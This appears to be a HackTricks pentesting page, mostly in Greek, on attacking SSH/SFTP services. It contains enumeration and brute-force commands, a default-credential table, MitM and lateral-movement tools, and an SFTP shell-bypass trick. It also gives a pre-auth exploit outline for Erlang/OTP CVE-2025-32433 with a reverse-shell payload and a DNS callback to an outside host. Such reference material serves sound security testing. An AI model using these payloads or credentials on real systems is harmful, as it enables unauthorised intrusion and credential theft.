22 - Pentesting SSH/SFTP
Reading time: 17 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
SSH (Secure Shell or Secure Socket Shell) είναι ένα πρωτόκολλο δικτύου που επιτρέπει μια ασφαλή σύνδεση σε έναν υπολογιστή μέσω ενός μη ασφαλούς δικτύου. Είναι απαραίτητο για τη διατήρηση της εμπιστευτικότητας και της ακεραιότητας των δεδομένων κατά την πρόσβαση σε απομακρυσμένα συστήματα.
Προεπιλεγμένη θύρα: 22
22/tcp open ssh syn-ack
Διακομιστές SSH:
- openSSH – OpenBSD SSH, διανέμεται σε BSD, διανομές Linux και Windows από τα Windows 10
- Dropbear – Υλοποίηση SSH για περιβάλλοντα με περιορισμένη μνήμη και πόρους επεξεργαστή, περιλαμβάνεται στο OpenWrt
- PuTTY – Υλοποίηση SSH για Windows — ο client χρησιμοποιείται συχνά, ενώ η χρήση του server είναι σπανιότερη
- CopSSH – υλοποίηση του OpenSSH για Windows
Βιβλιοθήκες SSH (implementing server-side):
- libssh – Πολυπλατφορμική βιβλιοθήκη C που υλοποιεί το πρωτόκολλο SSHv2 με bindings σε Python, Perl και R; χρησιμοποιείται από το KDE για sftp και από το GitHub για την υποδομή git/SSH
- wolfSSH – Βιβλιοθήκη server SSHv2 γραμμένη σε ANSI C και στοχευμένη σε ενσωματωμένα συστήματα, RTOS και περιβάλλοντα με περιορισμένους πόρους
- Apache MINA SSHD – Η βιβλιοθήκη Apache SSHD για Java βασίζεται στο Apache MINA
- paramiko – Βιβλιοθήκη πρωτοκόλλου SSHv2 για Python
Καταγραφή
Banner Grabbing
nc -vn <IP> 22
Αυτοματοποιημένο ssh-audit
ssh-audit είναι ένα εργαλείο για τον έλεγχο της διαμόρφωσης ssh server & client.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
Χαρακτηριστικά:
- Υποστήριξη server για τα πρωτόκολλα SSH1 και SSH2;
- Αναλύει τη διαμόρφωση SSH client;
- Λαμβάνει banner, αναγνωρίζει device ή software και λειτουργικό σύστημα, εντοπίζει compression;
- Συλλογή αλγορίθμων key-exchange, host-key, encryption και message authentication code;
- Παράγει πληροφορίες για τους αλγορίθμους (διαθέσιμο από, αφαιρέθηκε/απενεργοποιήθηκε, μη ασφαλές/αδύναμο/παρωχημένο, κ.λπ.);
- Παράγει συστάσεις για αλγορίθμους (προσθήκη ή αφαίρεση με βάση την αναγνωρισμένη έκδοση του software);
- Παράγει πληροφορίες ασφάλειας (σχετικά θέματα, λίστα ανατεθέντων CVE, κ.λπ.);
- Αναλύει τη συμβατότητα εκδόσεων SSH βάσει πληροφοριών αλγορίθμων;
- Ιστορικές πληροφορίες από OpenSSH, Dropbear SSH και libssh;
- Τρέχει σε Linux και Windows;
- Χωρίς εξαρτήσεις
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Δημόσιο SSH κλειδί του διακομιστή
ssh-keyscan -t rsa <IP> -p <PORT>
Αδύναμοι Αλγόριθμοι Κρυπτογράφησης
Ανακαλύπτεται από προεπιλογή από το nmap. Αλλά μπορείτε επίσης να χρησιμοποιήσετε το sslcan ή το sslyze.
Σενάρια Nmap
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
Σε μερικές εκδόσεις του OpenSSH μπορείτε να κάνετε μια timing attack για να enumerate users. Μπορείτε να χρησιμοποιήσετε ένα metasploit module in order to exploit this:
msf> use scanner/ssh/ssh_enumusers
Brute force
Κάποιες κοινές ssh credentials here and here και παρακάτω.
Private Key Brute Force
Αν γνωρίζετε μερικά ssh private keys που θα μπορούσαν να χρησιμοποιηθούν... ας τα δοκιμάσουμε. Μπορείτε να χρησιμοποιήσετε το nmap script:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Ή το MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Ή χρησιμοποιήστε ssh-keybrute.py
(native python3, ελαφρύ και με ενεργοποιημένους legacy αλγορίθμους): snowdroppe/ssh-keybrute.
Γνωστά badkeys μπορούν να βρεθούν εδώ:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Αδύναμα SSH keys / Προβλέψιμο PRNG στο Debian
Ορισμένα συστήματα έχουν γνωστές αδυναμίες στο random seed που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να οδηγήσει σε δραματικά μειωμένο keyspace, το οποίο μπορεί να υποβληθεί σε brute-force. Προ-παραχθέντα σύνολα κλειδιών από συστήματα Debian που επηρεάζονται από αδύναμο PRNG είναι διαθέσιμα εδώ: g0tmi1k/debian-ssh.
Πρέπει να κοιτάξετε εδώ για να αναζητήσετε έγκυρα κλειδιά για το μηχάνημα-θύμα.
Kerberos / GSSAPI SSO
If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.
Workflow from a Linux attacker host:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Σημειώσεις:
- Εάν συνδεθείτε με το λάθος όνομα (π.χ. συντομευμένο host, alias, ή λανθασμένη σειρά στο
/etc/hosts
), μπορεί να λάβετε: "Server not found in Kerberos database" επειδή το SPN δεν ταιριάζει. - Το
crackmapexec ssh --kerberos
μπορεί επίσης να χρησιμοποιήσει το ccache σας για Kerberos auth.
Προεπιλεγμένες Διαπιστευτήριες
Προμηθευτής | Ονόματα χρηστών | Κωδικοί πρόσβασης |
---|---|---|
APC | apc, device | apc |
Brocade | admin | admin123, password, brocade, fibranne |
Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
D-Link | admin, user | private, admin, user |
Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to perform a MitM attack to steal those credentials:
Διαδρομή επίθεσης:
- Ανακατεύθυνση κίνησης: Ο επιτιθέμενος ανακατευθύνει την κίνηση του θύματος προς το μηχάνημά του, ουσιαστικά υποκλέπτοντας την προσπάθεια σύνδεσης στον SSH server.
- Υποκλοπή και καταγραφή: Το μηχάνημα του επιτιθέμενου λειτουργεί ως proxy, καταγράφοντας τα στοιχεία σύνδεσης του χρήστη προσποιούμενο τον νόμιμο SSH server.
- Εκτέλεση εντολών και διάβαση: Τέλος, ο server του επιτιθέμενου καταγράφει τα διαπιστευτήρια του χρήστη, διαβιβάζει τις εντολές στον πραγματικό SSH server, εκτελεί αυτές και επιστρέφει τα αποτελέσματα στον χρήστη, κάνοντας τη διαδικασία να φαίνεται ομαλή και νόμιμη.
SSH MITM κάνει ακριβώς ό,τι περιγράφεται παραπάνω.
Για να πραγματοποιήσετε το πραγματικό MitM μπορείτε να χρησιμοποιήσετε τεχνικές όπως ARP spoofing, DNS spoofin ή άλλες που περιγράφονται στις Network Spoofing attacks.
SSH-Snake
If you want to traverse a network using discovered SSH private keys on systems, utilizing each private key on each system for new hosts, then SSH-Snake is what you need.
SSH-Snake εκτελεί αυτόματα και αναδρομικά τις παρακάτω ενέργειες:
- Στο τρέχον σύστημα, εντοπίζει οποιαδήποτε SSH private keys,
- Στο τρέχον σύστημα, εντοπίζει hosts ή destinations (user@host) όπου τα private keys μπορεί να γίνουν δεκτά,
- Προσπαθεί να SSH σε όλους τους destinations χρησιμοποιώντας όλα τα discovered private keys,
- Εάν η σύνδεση σε έναν προορισμό είναι επιτυχής, επαναλαμβάνει τα βήματα #1 - #4 στο σύστημα στο οποίο συνδέθηκε.
Είναι εντελώς αυτοαναπαραγόμενο και αυτοδιαδεδομένο -- και εντελώς fileless.
Λανθασμένες Ρυθμίσεις Διαμόρφωσης
Σύνδεση root
Είναι συνηθισμένο οι SSH servers να επιτρέπουν τη σύνδεση του χρήστη root από προεπιλογή, κάτι που αποτελεί σημαντικό κίνδυνο ασφαλείας. Η απενεργοποίηση της σύνδεσης root είναι ένα κρίσιμο βήμα για την ασφάλιση του server. Η μη εξουσιοδοτημένη πρόσβαση με προνόμια διαχειριστή και οι brute force επιθέσεις μπορούν να μειωθούν κάνοντας αυτή την αλλαγή.
Για να απενεργοποιήσετε τη σύνδεση root στο OpenSSH:
- Επεξεργαστείτε το αρχείο ρυθμίσεων SSH με:
sudoedit /etc/ssh/sshd_config
- Αλλάξτε την ρύθμιση από
#PermitRootLogin yes
σεPermitRootLogin no
. - Επαναφορτώστε τη διαμόρφωση με:
sudo systemctl daemon-reload
- Επανεκκινήστε τον SSH server για να εφαρμοστούν οι αλλαγές:
sudo systemctl restart sshd
SFTP Brute Force
Εκτέλεση εντολών SFTP
Υπάρχει ένα κοινό σφάλμα σε ρυθμίσεις SFTP, όπου οι διαχειριστές προορίζουν τους χρήστες για ανταλλαγή αρχείων χωρίς να επιτρέπουν remote shell access. Παρά το ότι έχουν ορίσει στους χρήστες μη-διαδραστικά shells (π.χ. /usr/bin/nologin
) και τους έχουν περιορίσει σε συγκεκριμένο κατάλογο, παραμένει ένα κενό ασφαλείας. Οι χρήστες μπορούν να παρακάμψουν αυτούς τους περιορισμούς ζητώντας την εκτέλεση μιας εντολής (όπως /bin/bash
) αμέσως μετά τη σύνδεση, πριν ενεργοποιηθεί το μη-διαδραστικό shell που έχει οριστεί. Αυτό επιτρέπει μη εξουσιοδοτημένη εκτέλεση εντολών, υπονομεύοντας τα προγραμματισμένα μέτρα ασφαλείας.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Ακολουθεί ένα παράδειγμα ασφαλούς διαμόρφωσης SFTP (/etc/ssh/sshd_config
– openSSH) για τον χρήστη noraj
:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Αυτή η διαμόρφωση θα επιτρέψει μόνο SFTP: απενεργοποιώντας την πρόσβαση στο shell εξαναγκάζοντας την start command και απενεργοποιώντας την πρόσβαση TTY, ενώ επίσης απενεργοποιεί κάθε είδους port forwarding ή tunneling.
SFTP Tunneling
Αν έχεις πρόσβαση σε έναν SFTP server μπορείς επίσης να tunnel την κίνησή σου μέσω αυτού, για παράδειγμα χρησιμοποιώντας το κοινό port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
Το sftp έχει την εντολή "symlink". Επομένως, αν έχετε writable rights σε κάποιο φάκελο, μπορείτε να δημιουργήσετε symlinks προς other folders/files. Καθώς πιθανότατα είστε παγιδευμένοι μέσα σε chroot, αυτό δεν θα είναι ιδιαίτερα χρήσιμο για εσάς, όμως, αν μπορείτε να έχετε πρόσβαση στο δημιουργημένο symlink από μια no-chroot service (για παράδειγμα, αν μπορείτε να αποκτήσετε πρόσβαση στο symlink από το web), θα μπορούσατε να ανοίξετε τα symlinked αρχεία μέσω του web.
Για παράδειγμα, για να δημιουργήσετε ένα symlink από ένα νέο αρχείο "froot" προς "/":
sftp> symlink / froot
Αν μπορείς να έχεις πρόσβαση στο αρχείο "froot" μέσω web, θα μπορέσεις να απαριθμήσεις τον root ("/") φάκελο του συστήματος.
Μέθοδοι αυθεντικοποίησης
Σε περιβάλλον υψηλής ασφάλειας είναι συνηθισμένη πρακτική να ενεργοποιούνται μόνο μέθοδοι βασισμένες σε κλειδί ή two-factor authentication αντί της απλής αυθεντικοποίησης με password. Ωστόσο, συχνά οι ισχυρότερες μέθοδοι ενεργοποιούνται χωρίς να απενεργοποιηθούν οι ασθενέστερες. Ένα συχνό παράδειγμα είναι η ενεργοποίηση του publickey
στην παραμετροποίηση του openSSH και ο ορισμός του ως προεπιλεγμένης μεθόδου χωρίς να απενεργοποιηθεί το password
. Έτσι, χρησιμοποιώντας το verbose mode του SSH client ένας επιτιθέμενος μπορεί να δει ότι μια ασθενέστερη μέθοδος είναι ενεργή:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Για παράδειγμα, αν έχει οριστεί ένα authentication failure limit και δεν έχετε ποτέ την ευκαιρία να φτάσετε στη μέθοδο password, μπορείτε να χρησιμοποιήσετε την επιλογή PreferredAuthentications
για να αναγκάσετε τη χρήση αυτής της μεθόδου.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Είναι απαραίτητο να ελεγχθεί η διαμόρφωση του SSH server για να διασφαλιστεί ότι μόνο οι αναμενόμενες μέθοδοι έχουν εξουσιοδοτηθεί. Η χρήση του verbose mode στον client μπορεί να βοηθήσει να αξιολογηθεί η αποτελεσματικότητα της διαμόρφωσης.
Αρχεία διαμόρφωσης
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Authentication State-Machine Bypass (Pre-Auth RCE)
Several SSH server implementations contain logic flaws in the authentication finite-state machine that allow a client to send connection-protocol messages before authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to unauthenticated code execution or session creation.
Σε επίπεδο πρωτοκόλλου, οποιοδήποτε SSH μήνυμα με message code ≥ 80 (0x50) ανήκει στο επίπεδο connection (RFC 4254) και πρέπει να αποδεχθεί μόνο μετά από επιτυχή αυθεντικοποίηση (RFC 4252). Εάν ο server επεξεργαστεί ένα από αυτά τα μηνύματα ενώ βρίσκεται ακόμα στην κατάσταση SSH_AUTHENTICATION, ο επιτιθέμενος μπορεί αμέσως να δημιουργήσει ένα channel και να αιτηθεί ενέργειες όπως εκτέλεση εντολών, port-forwarding, κ.λπ.
Generic Exploitation Steps
- Εγκαθιδρύστε μια TCP σύνδεση στη θύρα SSH του στόχου (συνήθως 22, αλλά άλλες υπηρεσίες μπορεί να εκθέτουν Erlang/OTP στις 2022, 830, 2222…).
- Κατασκευάστε ένα raw SSH packet:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (e.g.
SSH_MSG_CHANNEL_OPEN
= 90,SSH_MSG_CHANNEL_REQUEST
= 98) - Payload that will be understood by the chosen message type
- Στείλτε το/τα packet πριν ολοκληρωθεί οποιοδήποτε βήμα αυθεντικοποίησης.
- Αλληλεπιδράστε με τα server APIs που τώρα είναι εκτεθειμένα pre-auth (εκτέλεση εντολών, port forwarding, πρόσβαση στο file-system, …).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
Στην πράξη θα χρειαστεί να πραγματοποιήσετε (ή να παραλείψετε) την ανταλλαγή κλειδιών ανάλογα με την υλοποίηση-στόχο, αλλά no authentication δεν πραγματοποιείται ποτέ.
Erlang/OTP sshd
(CVE-2025-32433)
- Επηρεαζόμενες εκδόσεις: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Αιτία: ο εγγενής SSH daemon του Erlang δεν επικυρώνει την τρέχουσα κατάσταση πριν καλέσει
ssh_connection:handle_msg/2
. Επομένως οποιοδήποτε πακέτο με κωδικό μηνύματος 80-255 φτάνει στον χειριστή σύνδεσης ενώ η συνεδρία βρίσκεται ακόμα στην userauth κατάσταση. - Επίπτωση: μη αυθεντικοποιημένη remote code execution (ο daemon συνήθως τρέχει ως root σε embedded/OT συσκευές).
Παράδειγμα payload που δημιουργεί ένα reverse shell συνδεδεμένο με το κανάλι που ελέγχεται από τον επιτιθέμενο:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Η Blind RCE / out-of-band detection μπορεί να πραγματοποιηθεί μέσω DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Ανίχνευση & Αντιμετώπιση:
- Επιθεωρήστε την κίνηση SSH: απορρίψτε οποιοδήποτε πακέτο με κωδικό μηνύματος ≥ 80 που παρατηρείται πριν την αυθεντικοποίηση.
- Αναβαθμίστε το Erlang/OTP σε 27.3.3 / 26.2.5.11 / 25.3.2.20 ή νεότερο.
- Περιορίστε την έκθεση των management ports (22/2022/830/2222) – ειδικά σε OT εξοπλισμό.
Άλλες Υλοποιήσεις που Επηρεάζονται
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – αποδέχεται ένα μη αυθεντικοποιημένο
SSH_MSG_USERAUTH_SUCCESS
που στέλνεται από τον client, ουσιαστικά το αντίστροφο σφάλμα λογικής.
Το κοινό μάθημα είναι ότι οποιαδήποτε απόκλιση από τις μεταβάσεις κατάστασης που ορίζει το RFC μπορεί να είναι μοιραία· όταν αναθεωρείτε ή κάνετε fuzzing σε SSH daemons, δώστε ιδιαίτερη προσοχή στην state-machine enforcement.
References
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
HackTricks Automatic Commands
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.